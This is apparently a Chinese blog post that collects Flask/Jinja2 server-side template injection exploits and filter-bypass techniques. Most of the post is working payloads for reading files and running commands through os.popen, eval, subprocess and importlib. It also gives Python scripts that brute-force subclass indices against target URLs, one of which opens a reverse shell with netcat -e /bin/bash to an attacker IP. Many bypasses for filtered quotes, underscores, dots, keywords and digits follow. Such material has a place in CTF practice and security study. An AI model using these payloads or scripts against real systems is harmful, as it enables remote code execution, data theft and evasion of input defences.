SSTI漏洞利用及绕过总结(绕过姿势多样)

作者永不落的梦想

作者主页传送

座右铭过去属于死神,未来属于自己

本文专栏Web漏洞篇

今日鸡汤试一下,你会比你自己想象中的还要强大

目录

一、SSTI简介

1. SSTI漏洞

2. SSTI类型判断

3. flask框架

4. SSTI漏洞利用基本流程

二、继承关系和魔术方法

1. 父类和子类

2. 魔术方法

3. 案例演示

三、常用注入模块

 1. 文件读取      

2. 内建函数eval命令执行

3. os模块命令执行

4. importlib类命令执行

5. subprocess.Popen类命令执行

四、SSTI绕过总结

1. 双大括号过滤

2. 无回显SSTI

3. 中括号过滤

4. 单双引号过滤

5. 下划线过滤

6. 点过滤

7. 关键字过滤

8. 数字过滤

9. config过滤

11. 获取特殊符号(过滤)

12. 过滤器join

13. 混合过滤


一、SSTI简介

1. SSTI漏洞

        SSTI,即服务器端模板注入漏洞;

        在渲染模板时,代码不严谨并且没有对用户的输入做严格过滤,将导致SSTI漏洞,造成任意文件读取和RCE命令执行;

2. SSTI类型判断

         绿线表示执行成功,红线表示执行失败,根据图中测试语句和返回结果可判断SSTI类型;

        本文主要介绍flask的Jinja2模板注入;

3. flask框架

        学习SSTI服务端模板注入漏洞首先需要有一定的flask框架基础;

        flask是基于python开发的一种web服务器,那么也就意味着若用户可以与flask交互,就可以执行python代码,如eval、system等函数;

        在flask中,render_template_string()函数可将字符串进行渲染转移然后输出,不会渲染执行;format()函数格式化字符串,会导致字符串被渲染执行;

4. SSTI漏洞利用基本流程

        获取当前类 -> 获取其object基类 -> 获取所有子类 -> 获取可执行shell命令的子类 -> 获取可执行shell命令的方法 -> 执行shell命令

二、继承关系和魔术方法

1. 父类和子类

        当前子类无可利用的方法时,可由当前子类从其object基类找到其他子类的可利用方法;

        python flask脚本不能直接执行python执行;

        object是父子关系的顶端,所以的数据类型最终的父类都是object;

2. 魔术方法

__class__查找当前对象的当前类
__base__查找当前类的父类
__mro__查找当前类的所有继承类
__subclasses查找父类下的所以子类
__init__查看类是否重载,出现wrapper表示没有重载
__globals__以字典的形式返回当前对象的全部全局变量
__builtins__提供对python的所以内置标识符的直接访问

3. 案例演示

# 继承关系与魔术方法的简单演示

class A:
    pass
class B(A):
    pass
class C(B):
    pass
class D(B):
    pass

h = C()
# h的当前类,为C类
print(h.__class__)
# C类的父类,为B类
print(h.__class__.__base__)
# B类的父类,为A类
print(h.__class__.__base__.__base__)
# A类的父类,为对象
print(h.__class__.__base__.__base__.__base__)
# h的当前类的所有父类关系,等效于上面的输出
print(h.__class__.__mro__)
# B类的子类,为C类和D类
print(h.__class__.__base__.__subclasses__())
# 调用B类的C子类
print(h.__class__.__base__.__subclasses__()[0])
# 调用B类的D子类
print(h.__class__.__base__.__subclasses__()[1])


# 输出
<class '__main__.C'>
<class '__main__.B'>
<class '__main__.A'>
<class 'object'>
(<class '__main__.C'>, <class '__main__.B'>, <class '__main__.A'>, <class 'object'>)
[<class '__main__.C'>, <class '__main__.D'>]
<class '__main__.C'>
<class '__main__.D'>

三、常用注入模块

 1. 文件读取      

调用常用注入模块前需要知道注入模块在父类的子类中的序号,为避免手动查找序号可以使用Python脚本:

# 查找常用注入模块的序号

import requests

# 请求的url需自定义
url = 'http://192.168.73.12:1080/flab/lev/1'
for i in range(0, 500):
    # post传输的data数据的键(变量名)和值(变量值)的第一部分需自定义
    data = {'code': '{{ "".__class__.__base__.__subclasses__()[' + str(i) + '] }}'}
    try:
        # post传参,或根据实际情况使用get
        res = requests.post(url, data=data)
        if res.status_code == 200:
            # 引号中为需查找的模块名,需自定义
            if '_frozen_importlib_external.FileLoader' in res.text: 
                print(i)
    except:
        pass

  <class '_frozen_importlib_external.FiieLoader'>,即文件读取模块,可以读取文件内容:

# 假设
{{ ''.__class__.__base__.__subclasses__()[10] }} == <class '_frozen_importlib_external.FiieLoader'>

# 则利用方式如下,读取/flag文件的内容,payload:
{{ ''.__class__.__base__.__subclasses__()[10]['get_data'](0,'/flag') }}

2. 内建函数eval命令执行

使用内建函数eval前需知道哪个模块存在可利用的内建函数eval,为避免手动查询可以使用以下Python脚本:

# 查找可利用内建函数eval的模块并返回其模块序号

import requests

# 请求的url需自定义
url = 'http://192.168.73.12:1080/fab/vel/1'
for i in range(0, 500):
    # post传输的data数据的键(变量名)和值(变量值)的第一部分需自定义
    data = {'code': '{{ "".__class__.__base__.__subclasses__()[' + str(i) + '].__init__.__globals__["__builtins__"] }}'}
    try:
        # post传参,或根据实际情况使用get
        res = requests.post(url, data=data)
        if res.status_code == 200:
            # 查找可利用内建函数eval的模块返回对应模块序号
            if 'eval' in res.text:
                print(i)
    except:
        pass

利用内建函数eval进行命令执行 :

# 假设
{{ ''.__class__.__base__.__subclasses__()[10].__init__.__globals__['builtins'] }}
存在内建函数eval

# 则利用方式如下,读取/flag文件的内容,payload:
{{ ''.__class__.__base__.__subclasses__()[10].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat /flag").read()') }}

3. os模块命令执行

①在其他函数中直接调用os模块进行命令执行:

# 通过config调用os模块,payload:
{{ config.__class__.__init__.__globals__['os'].popen('cat /flag').read() }}

# 通过url_for调用os模块,payload:
{{ url_for.__globals__.os.popen('cat /flag').read() }}

②在已加载os模块的子类中直接调用os模块进行命令执行:

# 假设
{{ ''.__class__.__base__.__subclasses__()[24].__init__.__globals__ }}存在os模块

# 则利用方式如下,读取/flag文件的内容,payload:
{{ ''.__class__.__base__.__subclasses__()[24].__init__.__globals__['os'].popen('cat /flag').read() }}

查找已加载os模块的子类序号,Python脚本:

import requests

# 请求的url需自定义
url = 'http://192.168.73.12:1080/flb/vel/1'
for i in range(0, 500):
    # post传输的data数据的键(变量名)和值(变量值)的第一部分需自定义
    data = {'code': '{{ "".__class__.__base__.__subclasses__()[' + str(i) + '].__init__.__globals__ }}'}
    try:
        # post传参,或根据实际情况使用get
        res = requests.post(url, data=data)
        if res.status_code == 200:
            # 查找已加载os模块的子类
            if 'os.py' in res.text:
                print(i)
    except:
        pass

4. importlib类命令执行

 <class '_frozen_importlib_Builtinlmporter'>,即importlib类模块,其模块序号查找的Python脚本与文件读取模块的一致,可以进行命令执行:

# 假设
{{ ''.__class__.__base__.__subclasses__()[15] }} == <class '_frozen_importlib_Builtinlmporter'>

# 则利用方式如下,读取/flag文件的内容,payload:
{{ ''.__class__.__base__.__subclasses__()[15]['load_module']('os')['popen']('cat /flag').read() }}

5. subprocess.Popen类命令执行

<class '_frozen_importlib_subprocess.Popen'>,即isubprocess.Popen类模块,其模块序号查找的Python脚本与文件读取模块的一致,可以进行命令执行:

# 假设
{{ ''.__class__.__base__.__subclasses__()[20] }} == <class '_frozen_importlib_subprocess.Popen'>

# 则利用方式如下,读取/flag文件的内容,payload:
{{ ''.__class__.__base__.__subclasses__()[20]('cat /flag',shell=True,stdout=-1).communicate()[0].strip() }}

四、SSTI绕过总结

1. 双大括号过滤

{{和}}被过滤使用{%和%}绕过,payload:

# 假设序号为60子类能调用popen函数,则payload:

{% print(''.__class__.__base__.__subclasses__()[60].__init__.__globals__['popen']('cat /flag').read()) %}

在双大括号被过滤的情况下,查找加载了popen函数的子类,Python脚本:

# 查找能利用popen函数的子类序号

import requests

# 请求的url需自定义
url = 'http://192.168.73.112:1080/fklab/le/2'
for i in range(0, 500):
    # post传输的data数据的键(变量名)和值(变量值)的第一部分需自定义
    data = {'code': '{% if "".__class__.__base__.__subclasses__()[' + str(i) + '].__init__.__globals__["popen"]("cat /flag").read() %}haha{% endif %}'}
    try:
        # post传参,或根据实际情况使用get
        res = requests.post(url, data=data)
        if res.status_code == 200:
            # 查找存在自定义返回值的子类序号
            if 'haha' in res.text:
                print(i)
    except:
        pass

2. 无回显SSTI

反弹shell,查找出能调用popen函数的子类并执行代码连接我们的主机,运行脚本同时开启监听,实现反弹shell,Python脚本:

# 无回显,反弹shell脚本

import requests

# 请求的url需自定义
url = 'http://192.168.71.1:1080/lb/el/3'
for i in range(0, 500):
    # post传输的data数据的键(变量名)和值(变量值)的第一部分需自定义
    data = {'code': '{{"".__class__.__base__.__subclasses__()[' + str(i) + '].__init__.__globals__["popen"]("netcat 192.168.13.122 7788 -e /bin/bash").read() }}'}
    try:                                                                                                  # ip地址为本地ip,端口自定义
        # post传参,或根据实际情况使用get
        res = requests.post(url, data=data)
    except:
        pass

 还可以使用带外注入、盲注(需要有一定的回显)绕过无回显SSTI,这里不再演示;

3. 中括号过滤

魔术方法__getitem__可代替中括号,绕过中括号过滤,payload:

# 当中括号被过滤时,如下将被限制访问
{{ ''.__class__.__base__.__subclasses__()['13'].['popen']('cat /flag') }}

# 可使用魔术方法__getitem__替换中括号[],payload如下:
{{ ''.__class__.__base__.__subclasses__().__getitem__(13).__getitem__('popen')('cat /flag') }}

4. 单双引号过滤

当单双引号被过滤后,可以使用get或者post传参输入需要带引号的内容,payload:

# 当单双引号被过滤后以下访问将被限制
{{ ().__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('cat /flag').read() }}

# 可以通过request.args的get传参输入引号内的内容,payload:
{{ ().__class__.__base__.__subclasses__()[117].__init__.__globals__[request.args.popen](request.args.cmd).read() }}
同时get传参?popen=popen&cmd=cat /flag

# 也可以通过request.form的post传参输入引号内的内容,payload:
{{ ().__class__.__base__.__subclasses__()[117].__init__.__globals__[request.form.popen](request.form.cmd).read() }}
同时post传参?popen=popen&cmd=cat /flag

# 还可以使用cookies传参,如request.cookies.k1、request.cookies.k2、k1=popen;k2=cat /flag

5. 下划线过滤

当下划线被过滤后,可以使用过滤器输入下划线,如使用函数attr(),payload:

# 原payload存在下划线_被限制访问
{{ ().__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('cat /flag').read() }}

# 使用过滤器函数attr(),将带下划线部分作为attr()函数的参数并使用get或post给attr()函数传参数,payload:
{{ ()|attr(request.form.p1)|attr(request.form.p2)|attr(request.form.p3)()|attr(request.form.p4)(117)|attr(request.form.p5)|attr(request.form.p6)|attr(request.form.p7)('popen')('cat /flag')|attr('read')() }}
同时post传参p1=__class__&p2=__base__&p3=__subclasses__&p4=__getitem__&p5=__init__&p6=__globals__&p7=__getitem__

# arrt()的参数也可以不用get或post传参,而将arrt()函数的参数进行unicode编码

也可以将下划线进行16位编码的方式绕过,payload:

# 原payload存在下划线_被限制访问
{{ ().__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('cat /flag').read() }}

# 将下划线进行16位编码,payload:
{{ ()['\x5f\x5fclass\x5f\x5f']['\x5f\x5fbase\x5f\x5f']['\x5f\x5fsubclasses\x5f\x5f']()[117]['\x5f\x5finit\x5f\x5f']['\x5f\x5fglobals\x5f\x5f']['popen']('cat /flag').read() }}

6. 点过滤

使用中括号绕过点过滤,payload:

# 原payload存在点被限制访问
{{ ().__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('cat /flag').read() }}

# 使用中括号代替点,payload:
{{ ()['__class__']['__base__']['__subclasses__']()[117]['__init__']['__globals__']['popen']('cat /flag')['read']() }}

 也可以使用过滤器arrt()函数绕过,payload:

# 原payload存在点被限制访问
{{ ().__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('cat /flag').read() }}

# 使用过滤器arrt()函数绕过点过滤,payload:
{{ ()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(117)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen')('cat /flag')|attr('read')() }}

7. 关键字过滤

+号拼接绕过,payload:

# 假设关键字class被过滤
{{ ().__class__ }}

# +号绕过,payload:
{{ ()['__cl'+'ass__'] }}

 使用Jinjia2的~号拼接,payload:

# 假设关键字class、base被过滤
{{ ().__class__.__base__ }}

# 使用~号绕过,payload:
{% set a='__cl' %}{% set b='ass__' %}{% set c='__ba' %}{% set d='se__' %}{{ ()[a~b][c~d] }}

使用过滤器绕过,如使用可反转字符串的过滤器reverse(),payload:

# 假设关键字class、base被过滤
{{ ().__class__}}

# 使用过滤器reverse绕过,payload:
{% set a='__ssalc__'|reverse %}{{ ()[a] }}

使用join过滤器绕过,同时可以绕过引号过滤,payload:

# 假设关键字class、base被过滤
{{ ().__class__}}

# 使用过滤器join绕过,payload:
{% set a=dict(__cl=a,ass__=a)|join %}{{ ()[a] }}

还可以使用编码方式绕过,不再演示;

8. 数字过滤

当数字被过滤时,可以使用过滤器length计算字符串长度来返回数字,payload:

# 假设关键字class、base被过滤
().__class__.__base__.__subclasses__()[6]

# 使用过滤器length绕过,payload:
{% set a='aaaaaa'|length %}{{ ().__class__.__base__.__subclasses__()[a] }}

# 当数字比较大时,可以使用数学运算,如:
{% set a='aaaaaa'|length %}中 a=6
{% set a='aa'|length*'aaa'|length %}中 a=6
{% set a='aaaaa'|length*'aaaaaa'|length+'a'|length %}中 a=31

9. config过滤

有时flag放在config文件中或需要调用config文件的模块时,需要config但是可能被过滤,绕过config过滤,payload:

# 直接调用config被过滤无回显
{{ config }}
# 使用以下方式可间接调用config
{{ url_for.__globals__['current_app'].config }}
{{ get_flashed_messages.__globals__['current_app'].config }}

11. 获取特殊符号(过滤)

在{% set a=(lipsum|string|list) %}{{a[1]}}中,a[1]为小于号
a[9]为空格,a[18]为下划线

类似的获取特殊符号的方法还有很多

12. 过滤器join

过滤器join一般与dict()一起使用,可将字典的键名拼接得到新字符串:

# 假设关键字class被过滤
{{ ().__class__}}

# 使用过滤器join和dict()绕过,payload:
{% set a=dict(__cl=a,ass__=a)|join %}{{ ()[a] }}

13. 混合过滤

即以上过滤的混合绕过;

  • 5
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值